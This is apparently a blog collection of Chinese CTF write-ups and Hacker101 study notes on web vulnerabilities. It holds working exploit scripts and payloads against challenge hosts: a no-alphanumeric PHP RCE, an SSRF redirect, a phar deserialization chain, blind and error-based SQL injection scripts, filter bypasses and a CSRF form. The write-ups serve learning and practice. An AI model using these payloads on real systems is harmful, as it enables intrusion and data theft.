津门杯hate_php

津门杯hate_php

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
die('fighting!');
}
eval($code);
}

p神!无字母数字webshell之提高篇

可以在res中看到php版本为5.x,这里就需要用到p神的php5下的上传临时文件+通配符RCE

多过滤一个@,看着ascii往前换一个就行

脚本:

1
2
3
4
5
6
7
#coding:utf-8
import requests
url="http://122.112.214.101:20004/index.php?code=?><?=`. /???/????????[?-[]`;?>"
files={'file':'cat /flag'}
response=requests.post(url=url,files=files)
res = response.text
print(res)

有一定概率性……

  

津门杯GoOSS

津门杯GoOSS

弄懂这道题花了我很长时间,期间走了很多弯路……(wotaicaile

在写这道题的路上,我学习(了解)了DNS绑定攻击、Google账号验证、免费域名注册(白嫖)、golang、搭建go环境、gin、dlv调试golang……

gin代码

在go程序最前可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
import (
"bytes"
"crypto/md5"
"encoding/hex"
"fmt"
"io"
"io/ioutil"
"net/http"
"os"
"strings"
"time"
"github.com/gin-gonic/gin"
)

"github.com/gin-gonic/gin"既是gin框架,所以既要看得懂go,也要学看gin……

路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
func main() {
fmt.Println("start")
r := gin.Default()
r.Use(fileMidderware)
r.POST("/vul", vulController)
r.POST("/upload", uploadController)
r.GET("/", func(c *gin.Context) {
c.JSON(200, gin.H{
"message": "pong",
})
})
_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

r.Use(fileMidderware)设置了全局中间件

r.POST("/vul", vulController)设置了对该路径请求的局部中间件

vulController:

1
2
3
4
5
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

捆绑url为json格式,post传参时需要传:{"url":"xxxx"}

1
2
3
4
5
6
7
8
9
10
11
12
13
if !strings.HasPrefix(url.Url, "http://127.0.0.1:1234/") {
c.JSON(403, gin.H{"msg": "url forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}

fmt.Println("1")

resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

限制了内网访问的端口

uploadController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var file File
if err := c.ShouldBindJSON(&file); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}

dir := md5sum(file.Name)

_, err := http.Dir("./files").Open(dir)
if err != nil {
e := os.Mkdir("./files/"+dir, os.ModePerm)
_, _ = http.Dir("./files").Open(dir)
if e != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
return

}

}
filename := md5sum(file.Content)
path := "./files/" + dir + "/" + filename
err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}

c.JSON(200, gin.H{
"message": "file upload succ, path: " + dir + "/" + filename,
})
}

大概是在files文件夹下上传文件的功能,当时尝试了下,似乎并不存在什么漏洞……

fileMidderware:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
func fileMidderware(c *gin.Context) {
fileSystem := http.Dir("./files/")
if c.Request.URL.String() == "/" {
c.Next()
return
}
f, err := fileSystem.Open(c.Request.URL.String())
if f == nil {
c.Next()
}
if err != nil {
c.Next()
return
}
defer f.Close()
fi, err := f.Stat()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
fmt.Println("2")
if fi.IsDir() {
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println(c.Request.URL.String())
c.Redirect(302, c.Request.URL.String()+"/")
fmt.Println(c.Request.URL.String())
} else {
files := make([]string, 0)
l, _ := f.Readdir(0)
for _, i := range l {
files = append(files, i.Name())
}

c.JSON(http.StatusOK, gin.H{
"files": files,
})
}

} else {
data, _ := ioutil.ReadAll(f)
c.Header("content-disposition", `attachment; filename=`+fi.Name())
c.Data(200, "text/plain", data)
}

}

在/vul中请求{"url":"127.0.0.1:1234/../"}:

image-20210512201947610

访问到了上级files目录,不存在别的东西了……

源码给了index.php:

1
2
3
4
5
6
7
<?php

// php in localhost port 80

readfile($_GET['file']);

?>

如果能访问到80默认端口上的index并传参就可以获取flag

ssrf

1
2
3
4
fmt.Println(c.Request.URL.String())
if !strings.HasSuffix(c.Request.URL.String(), "/") {
fmt.Println(c.Request.URL.String())
c.Redirect(302, c.Request.URL.String()+"/")

关键是这里的代码……由于gin的配置,访问xxx.xxx.xxx/hahaxxx.xxx.xxx/haha/并不相同

strings.HasSuffix检测c.Request.URL是否以\结尾,若不是则加上并跳转。大概本意也许是想解决这个问题?(好像哪里又不大对)……

配置好dlv调试代码服务:

image-20210512203038285

c中含有request:

image-20210512203334500

request中含有host和url,这里的url应该类似为资源文件?

image-20210512204621788

如果我们传入:{"url":"http://127.0.0.1:1234//1/.."}

image-20210512203705614

网站尝试解析网址1……

在不以/结尾的情况下,302跳转直接使用c.Request.URL进行跳转,类似加载外部js,拼接上/后,//1/../被认为是相对url并予以访问(大概),造成ssrf(应该)。

https://guokeya.github.io/post/5IcFhBKyk/

大师傅说:

Location可以控制为//,而//就是省略HTTP协议的写法,以作参考。

302跳转

我们现在能控制目标机访问外网,那怎么利用这一点呢……

我们可以在自己的服务器写一个302跳转,使目标机访问后跳转到(目标机)本机的默认端口上并读取flag。

1
2
3
<?php
header("Location: http://127.0.0.1/index.php?file=/flag");
?>

image-20210512205534307

获得flag!

流程:

访问/vul-》fileMidderware-》vulController-》resp, err := client.Get(url.Url)-》fileMidderware-》302跳转(c.Request.URL)-》服务器-》302跳转-》127.0.0.1/index.php?file=xxx-》flag

总之还是搞了不少东西的,虽然有很多无用功,花了好几天,但也很增长知识。

如果哪里我理解的不对希望能告诉我!

  

蓝帽杯2021复现

蓝帽杯2021复现

one_Pointer_php

buu上开了环境,真不错

user.php

1
2
3
4
5
<?php
class User{
public $count;
}
?>

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

就两个文件……

当时看了半天,就只知道要绕过if($count[]=1)……可这玩意不是恒对的吗……

这关系到php的索引数组溢出

PHP数组

https://blog.csdn.net/weixin_43821278/article/details/114763459

根据这篇文章的实验

1
2
3
4
5
6
//php 5.59nts

<?php
$a[2147483647]="ccc";
$a[]="bbb";
var_dump($a);

输出:

image-20210508181911478

$a[]访问到的是当前最大数值索引的下一位

也就是说,在5.5.9nts版本下,2147483647就是数值索引的界限,而2147483647正是5.5.9版本中默认设置的整型最大值:PHP_INT_MAX:int(2147483647)

这里的int,是有符号32位二进制可表示的最大数

2^31-1=2147483647

如果超过了呢?

image-20210513165829865

这里会转化为范围更大的float储存……

image-20210513165839374

数组中溢出后就会回滚从int的最小值,于是会符合这样的规律:

0—2147483647 下标0~2147483647

2147483648—4294967296 下标-2147483648~0

4294967296—6442450943 下标 0~2147483647

下一个溢出为0的数字是:8589934592

这样使用似乎没什么问题,但如果是通过$a[]去获取就会产生报错,相关版本的题目是XCTF-favorite_number,可以研究研究。

较新的版本

这里是7.3.4nts的php版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
echo "PHP_INT_MAX:";
var_dump(PHP_INT_MAX);
echo "<br>";
echo "PHP_INT_MIN:";
var_dump(PHP_INT_MIN);
echo "<br>";
echo "PHP_INT_SIZE:";
var_dump(PHP_INT_SIZE);

$a =9223372036854775806;
$b =9223372036854775806;

echo "<br>";
var_dump(is_int($a));
$a++;

echo "<br>";
var_dump(is_int($a));
$a++;

echo "<br>";echo "is_int:";
var_dump(is_int($a));
echo "<br>";echo "is_float:";
var_dump(is_float($a));

echo "<br>";
echo $b;
$b++;

echo "<br>";
echo $b;
$b++;

echo "<br>";
echo $b;
1
2
3
4
5
6
7
8
9
10
11
输出:
PHP_INT_MAX:int(9223372036854775807)
PHP_INT_MIN:int(-9223372036854775808)
PHP_INT_SIZE:int(8)
bool(true)
bool(true)
is_int:bool(false)
is_float:bool(true)
9223372036854775806
9223372036854775807
9.2233720368548E+18

同样会转化为float而不再属于整型,并会以科学计数法输出

这里的“int”,是有符号64位二进制可表示的最大数,或者说,我们更加熟悉的long long int

2^63-1=9223372036854775807

较新的版本大概是提高了索引溢出的阈值……

1
2
3
4
5
6
7
8
9
<?php

$a[9223372036854775806]="haha";

$a[] =1;
var_dump($a);

$a[] =1;
var_dump($a);

image-20210513165907924

最后的语句成功报错,根据这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}

$a =new User();
$a ->count=9223372036854775806;

$a =urlencode(serialize($a));

echo $a;

?>

就可以成功绕过赋值判断

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

执行命令,来phpinfo看看敏感信息:

image-20210513165922744

……上一个绕过disable_function的还是so劫持或者蚁剑插件……不是很会……

看了dalao的wp,一直搞不好……原理倒是看了七七八八……

然后……没有然后了……蹲一个好大佬的wp😢

  

hacker101-2

hacker101.2

中文视频:

【FreeBuf字幕组】Hacker101白帽黑客进阶之路-Web工作机制

1.http报文的结构是什么?(1分)

一个HTTP请求报文由请求行(request line)、请求头部(request header)、空行和请求数据4个部分构成。

请求行数据格式由三个部分组成:请求方法、URI、HTTP协议版本,他们之间用空格分隔。

1
GET / HTTP/1.1 					#请求方法为GET,请求路径为根目录,1.1版本

请求头部紧跟着请求行,该部分主要是用于描述请求正文

1
2
3
4
5
6
7
Host: hackerone.com                                                       Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close ##主要是用于说明请求源、连接类型、Cookie信息、可处理内容等

请求正文和请求头部通过一个空行进行隔开,一般用于存放POST请求类型的请求正文

1
username=admin

2.什么是crlf?在http报文的哪个位置。(1分)

缩写 ASCⅡ转义 系统 ASCⅡ值
CR \r MacIntosh(早期的Mac) 13
LF \n Unix/Linux/Mac OS X 10
CR LF \r\n Windows

CR:Carriage Return,对应ASCII中转义字符\r,表示回车

LF:Linefeed,对应ASCII中转义字符\n,表示换行

CRLF:Carriage Return & Linefeed,\r\n,表示回车并换行

Windows操作系统采用两个字符来进行换行,即CRLF;

Unix/Linux/Mac OS X操作系统采用单个字符LF来进行换行;

MacIntosh操作系统(即早期的Mac操作系统)采用单个字符CR来进行换行。


Burp中,点击\n即可看到报文中crlf的详细位置,据我目前的经验,crlf可用于csrf和http走私

……

3.解释下这几个头的含义(5分):

image-20210506102725317

head头:

Host:表明请求将要发送至的实际主机

Accept:客户端浏览器可处理的MIME类型,设置用来指定响应类型

Cookie:包含客户端向服务器传递的cookie数据

Referer:表明请求具体来源于哪个页面的链接

Authorization:通常用来做一些token认证

4.cookie具有哪些特点,不同的域名和子域名对cookie有怎样的权限?Cookie的Secure和 HTTPOnly这两个flag分别有什么作用?请结合xss攻击来进行说明(3分)

若Set-Cookie指定Domain为xxx.com,那么xxx.com的子域名同样能够访问获取到这个Cookie。若指定Domain为某子域名(sub.xxx.com),那么只有该子域名及其下级子域名才可以访问获得Cookie。

Cookie的Secure属性:这代表Cookie只能在HTTPS协议中传输

Cookie的HTTPOnly属性:确保cookie只能通过Web请求传输,而不能用JavaScript来读取访问。原本可用的document.cookie方法的JS脚本在打开HTTPOnly后无法读取cookie,cookie只在请求中传输。

5.简述本视频提到的xss绕过web防火墙的方案(5分)

利用浏览器与WAF对html解析方式不同的特点。<script/xss src=xxxxxx>在浏览器中,/会被解析为%20,而WAF仅仅认为这是一个script/xss样式。这样就绕过了WAF,而浏览器中该标签得以执行。

6.内容嗅探是什么?主要有哪些类型?请分别举例,主要用途是什么?在什么情况下可以利用这些漏洞?为什么facebook等网站需要使用不同的域名来存储图片?(5分)

内容嗅探(Content Sniffing)

浏览器在显示响应回来的请求文件或网页时,若不知道该文件或网页的具体文件内容(Content-Type),会启动内容嗅探机制。如:MIME Sniffing,它的原理是浏览器回显自动探测未知格式的请求文件类型。另:Encoding Sniffing,浏览器会自动检测未知格式文件的编码类型。通过对内容编码格式的一一匹配进行嗅探,后在浏览器中进行相应的解析显示。

在请求响应不具备恰当的MIME类型时,浏览器的具体检测和解析机制可能会导致对文件或图片的不正确解析,导致此类漏洞的发生与利用。

Encoding Sniffing则利用浏览器的自动识别而WAF难以支持的特点(如:UTF-7、UTF-32)完成攻击,之前做过一个xml转码完成攻击的题。

facebook使用子域来托管图片,防止因此类漏洞造成的xss攻击。即使攻击完成,获取到的也可能仅仅是子域下的一个cookie。

7.同源策略是什么?限制是什么?浏览器在遇到哪两种情况的时候会用到同源策略?如何放松SOP限制?放松SOP限制会对浏览器插件安全造成怎样的破坏?

同源策略(SOP)

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

Web安全的基石。同源策略目的在于防止Web交互间的不安全行为。同源策略限制了跨域的资源访问。

限制:协议、端口号、主机(域名)必须相同。

不同域之间是通过XML的HTTP请求来实现交互的,也就是AJAX请求。SOP会限制来自iframe和windows属性的跨域访问和AJAX请求?所以当我们打开一个带有JS脚本的新窗口,由于SOP的影响,那么就无法对该窗口中的DOM元素实现访问。

弱化SOP:可以通过设置不同域之间的document.domain脚本来实现。这种方式可以让本质上不同源的子域实现互相通信与交互。或者,通过postMessage方法实现跨窗口通信。

破坏:跨域跨窗口的信息验证很少存在,而Web插件的内部消息处理经常是错误的。如:Chrome的拓展插件就存在SOP绕过漏洞。Chrome的拓展插件在浏览器准备的sandbox中受到了很多限制,所以这些插件常使用postMessage进行设计。当我们向插件发送信息时,可以通过跨窗口通信绕过SOP,实际上这已经破环了浏览器准备的sandbox,是由SOP弱化导致的漏洞。

8.csrf是什么?如何设计规避csrf?视频中提到的错误的csrf配置方法是什么?

CSRF(跨站请求伪造)

攻击者挟持受害者去访问由攻击者控制的网站。并以受害者身份执行请求、提交等恶意操作。

1
2
3
4
5
6
<body onload="document.forms[0].submit()">
<form action="xxxx" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="1625">
</form>
</body>

这样的请求直接发送至后端,而后端无法分请请求是否是伪造的。

我们可以使用CSRF-Token来规避此类攻击。Token随机生成并嵌入表单中(CSP……?哦,不一样……

如:

1
2
3
4
<form action="xxxx" method="POST">
<input type="hidden" name="csrf" value="xxxxxxxxxxxxxxxxxxxxxxxxxxx">
<input type="submit">
</form>

视频中提到有Web应用通过加载csrf.js来生成token,泄露了token的生成方式,这是一种自毁的防御措施。

附加题:5、6两点主要利用的是由于服务端和客户端对同一信息的处理方式不同造成的漏洞,你还能举出相似的例子么?(1分)

…………

  

HarekazeCTF-2019-encode_and_encode

HarekazeCTF-2019-encode_and_encode

上来就是源码……:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');//接受post数据
$json = json_decode($body, true);//json解密,故body需要为合法json字符串

if (is_valid($body) && isset($json) && isset($json['page'])) {//body中需含有page字段
$page = $json['page'];
$content = file_get_contents($page);//读取
if (!$content || !is_valid($content)) {//过滤传参,一些伪协议,flag
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

is_valid过滤了很多协议还有遍历,随便起协议名再遍历读取是不能用了……

json转义

json为提供一些特殊字符的传输,支持了Unicode,如:json_encode会将中文转换为unicode编码

所以此处使用Unicode即可绕过检查。

{ “page” : “\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067”}

flag{5c3db6bf-f5c9-4926-a809-ea7b4d23c37d}

获得flag……

  

NCTF2019-SQLi

[NCTF2019]SQLi

进入题目是一个登录框注入

sqlquery : select * from users where username=’’ and passwd=’’

标识了查询语句,测试:

image-20210504174454423

过滤了很多……

robots.txt中有hint,提示了过滤规则与flag获取方式:

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

引号被过滤,用转义:

username=a&passwd=/**/||1;%00

结果永真,此时res出现了变化:

image-20210504174832423

实际上,这个页面并不存在……

我陷入了沉思……

regexp注入

https://xz.aliyun.com/t/8003

1
username=\&passwd=/**/||username/**/regexp/**/"^admin";%00

此时,注入语句为:

1
select * from users where username='xxx'/**/||username/**/regexp/**/"^admi";%00

对username字段进行正则匹配,一个个移位匹配……(又是移位匹配……

写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# coding=utf-8
import requests
import time

flag = ""
url = "http://9424a242-edab-424f-b620-ceca992f2e55.node3.buuoj.cn/"
string="1234567890qwertyuiopasdfghjklzxcvbnm_"

for x in range(1, 200):
for s in string:
data = {
"username": "\\",
"passwd": '/**/||passwd/**/regexp/**/"^{}";'.format(flag+s)+chr(0)
}
# print(pay)
response = requests.post(url=url, data=data)
# print(response.text)
if "welcome.php" in response.text:
# time.sleep(0.03)
flag += s
print(s)
print(flag)
print(flag)

image-20210504182318273

image-20210504182429861

得到flag……

官方wp:

http://yulige.top/?p=752#SQLi500pt_11solvers

  

SWPUCTF-2018-SimplePHP

[SWPUCTF 2018]SimplePHP

进入题目,有一个file参数,尝试一下伪协议,无果……

结果直接读可以读出来

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
1
<!--flag is in f1ag.php-->

反序列化,但是没有反序列化利用点……

phar反序列化

https://www.cnblogs.com/zzjdbk/p/13030571.html

结合文件上传中的文件操作函数,可以利用phar中以反序列化方式储存的meta-data进行反序列化。在文件操作函数进行phar解析时,meta-data的数据也会一同解析。

开始找pop链:

先找魔法方法……__destruct()、__wakeup()、__toString()……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()//析构,脚本结束自动调用
{
$this->test = $this->str;
echo $this->test;//toString
}
}
1
2
3
4
5
public function __toString()
{
$content = $this->str['str']->source;//属性调用-》get
return $content;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

最后来到file_get_contents进行文件读取

构建脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}

class Test
{
public $file;
public $params;
}

$a = new C1e4r();
$b = new Show();
$c = new Test();

$c->params['source'] = "/var/www/html/f1ag.php";
$b->str['str'] = $c;
$a->str = $b;

$phar = new Phar("test.phar"); //创建.phar文件
$phar->startBuffering();//写入缓冲
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定
$phar->setMetadata($a); //传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

需要修改php.ini中的phar.readonly,且一定要去掉前面的分号!……

上传文件名:$filename = md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).”.jpg”;

move_uploaded_file($_FILES[“file”][“tmp_name”],”upload/“ . $filename); 转移到指定的upload目录

生成phar后改后缀为jpg,上传

image-20210504164131263

用phar协议去读取:

phar://upload/febdf38ac03e62cb8f05d46cefefd732.jpg

image-20210504164935877

得到flag……

  

GYCTF2020-Ezsqli

[GYCTF2020]Ezsqli

id是注入点,4/2发现是数值型注入……测试下:

image-20210504093103645

information都被过滤了……这里必须要绕过这个过滤

information_schema绕过

聊一聊bypass information_schema

mysql注入绕过information_schema过滤

information_schema代替方法

sys.schema_table_statistics_with_buffer

SELECT * from sys.schema_table_statistics_with_buffer

table_schema table_name rows_fetched fetch_latency rows_inserted insert_latency rows_updated update_latency rows_deleted delete_latency io_read_requests io_read io_read_latency io_write_requests io_write io_write_latency io_misc_requests io_misc_latency innodb_buffer_allocated innodb_buffer_data innodb_buffer_free innodb_buffer_pages innodb_buffer_pages_hashed innodb_buffer_pages_old innodb_buffer_rows_cached

可以看到有table_schema和table_name,借此可以获得表名:

image-20210504101705740

但是我们没有列名,这里需要

无列名注入

https://www.jianshu.com/p/4a084ea1c7d4

https://zhuanlan.zhihu.com/p/98206699

运用到sql比较字符串的特性,当两个字符串做比较运算时,会先比较首位字符,若首位相同,则比较第二位……

id=2||((select 1,”g”)>(select * from f1ag_1s_h3r3_hhhhh))#

两边查询的列数要相同

捋顺逻辑用二分法写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# coding=utf-8
import requests
import time

flag = ""
url = "http://bec2be36-f01b-4b15-bc93-dc44e0b9fbb6.node3.buuoj.cn/"

data1 = ""
# 库名
data2 = "2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>={}#"
# 表名
data3 = ""
# 列名
data4 = ""
# 数据
data5 = "2||((select 1,'{}')<=(select * from f1ag_1s_h3r3_hhhhh))#"
# 字符串移位比较+无列名
data = data5
# 选择post数据

for x in range(1, 200):
l = 32
r = 127
while r > l:
mid = int((l + r + 1) / 2)
x = str(x)
y = str(mid)
if data != data5:
pay = {
"id": data.format(x, y)
}
else:
pay = {
"id": data.format(flag+chr(int(y)))
}
# print(pay)
# 这里需更改注入点
response = requests.post(url=url, data=pay)
# print(response.text)
if "Nu1L" in response.text:
l = mid
else:
r = mid - 1
# time.sleep(0.03)
flag += (chr(int(r)))
print(chr(int(r)))
print(flag)
print(flag)

搭了个post架,也不知道好不好用……

image-20210504112734844

转小写得到flag……

flag{333ed6af-c961-438b-91fd-c578e87536a6}

  

RCTF2015-EasySQL

[RCTF2015]EasySQL

进入题目是一个登录页面,有注册和修改密码功能……似乎有index.phps源码,但是forbidden

发现admin已经被注册……难道可以先注入获取admin账户再得到源码进一步渗透?

注册一个\,在change密码时发生报错:

image-20210425120947836

pwd后的一串是0的md5值……

这可能是二次注入,在拿出数据时没有进行转义发生的漏洞,鉴于打印了报错信息,即可进行报错注入

类似之前的题构造,但是用户名存在过滤,首次尝试fuzz操作……

image-20210425121328003

过滤了很多……

"&&pwd=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#成功回显数据库名

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c6167)),0x7e),1)#获取表名

image-20210425121530565

发现flag表

image-20210425121603887

flag列

image-20210425121624544

fakeflag……那去查查user表

image-20210425121710797

应该是real_flag_1s_here,似乎有多行……concat

image-20210425121803527

这样的查询表明,很多行的数据都是xxx,而flag应当在其中一行

limit似乎用不了,很多加密也不行,mid、substr、right、left都被ban了……

学习了正则的使用:

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(select(real_flag_1s_here)regexp('^l'))),0x7e),1)#

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

where(real_flag_1s_here)regexp(‘^f’)匹配real_flag_1s_here列中以f开头的那一行数据,大概是优先于group_concat的,所以也可以:

“&&pwd=updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’)),0x7e),1)#

怎么解决位数不足显示不全的问题呢?正则帮助我们拿出了这一行的数据,我们就可以将这行数据逆向输出

reverse

"&&pwd=updatexml(1,concat(0x7e,(reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))),0x7e),1)#

XPATH syntax error: ‘~flag{4c5c3709-12d5-40af-82f2-c3’

XPATH syntax error: ‘~}8f414a13433c-2f28-fa04-5d21-90’

<php?echo strrev(“}8f414a13433c-2f28-fa04-5d21-90”);

flag{4c5c3709-12d5-40af-82f2-c33431a414f8}

获得flag……

  

hacker101.1

hacker101.1

2.观看视频二,回答下列问题:

视频二:https://www.hacker101.com/sessions/pentest_owasp

1.目前owasp的十大web安全漏洞是哪些?这些漏洞排名是按照漏洞的严重程度排序的还是按照漏洞的常见程度排序的?(2分)

中文PDF-2017

  1. 注入漏洞:Injection

  2. 身份认证失效:Broken Authentication

  3. 敏感数据泄露:Sensitive Data Exposure

  4. XML外部实体漏洞:XML External Entities (XXE)

  5. 访问控制失效:Broken Access Control

  6. 安全配置错误:Security Misconfigurations

  7. 跨站脚本攻击:Cross-Site Scripting (XSS)

  8. 不安全的反序列化:Insecure Deserialization

  9. 使用含有已知漏洞的组件:Using Components with Known Vulnerabilities

  10. 日志和监控不足:Insufficient Logging and Monitoring

    OWASP Top 10 is a ranking of the ten most dangerous information security risks for web applications, compiled by a community of industry experts. For each point of the rating, the risk is calculated by experts based on theOWASP Risk Rating Methodologyand includes an assessment of Weakness Prevalence, Weakness Detectability and Exploitability, as well as the criticality of the consequences of their operation or Technical Impacts.

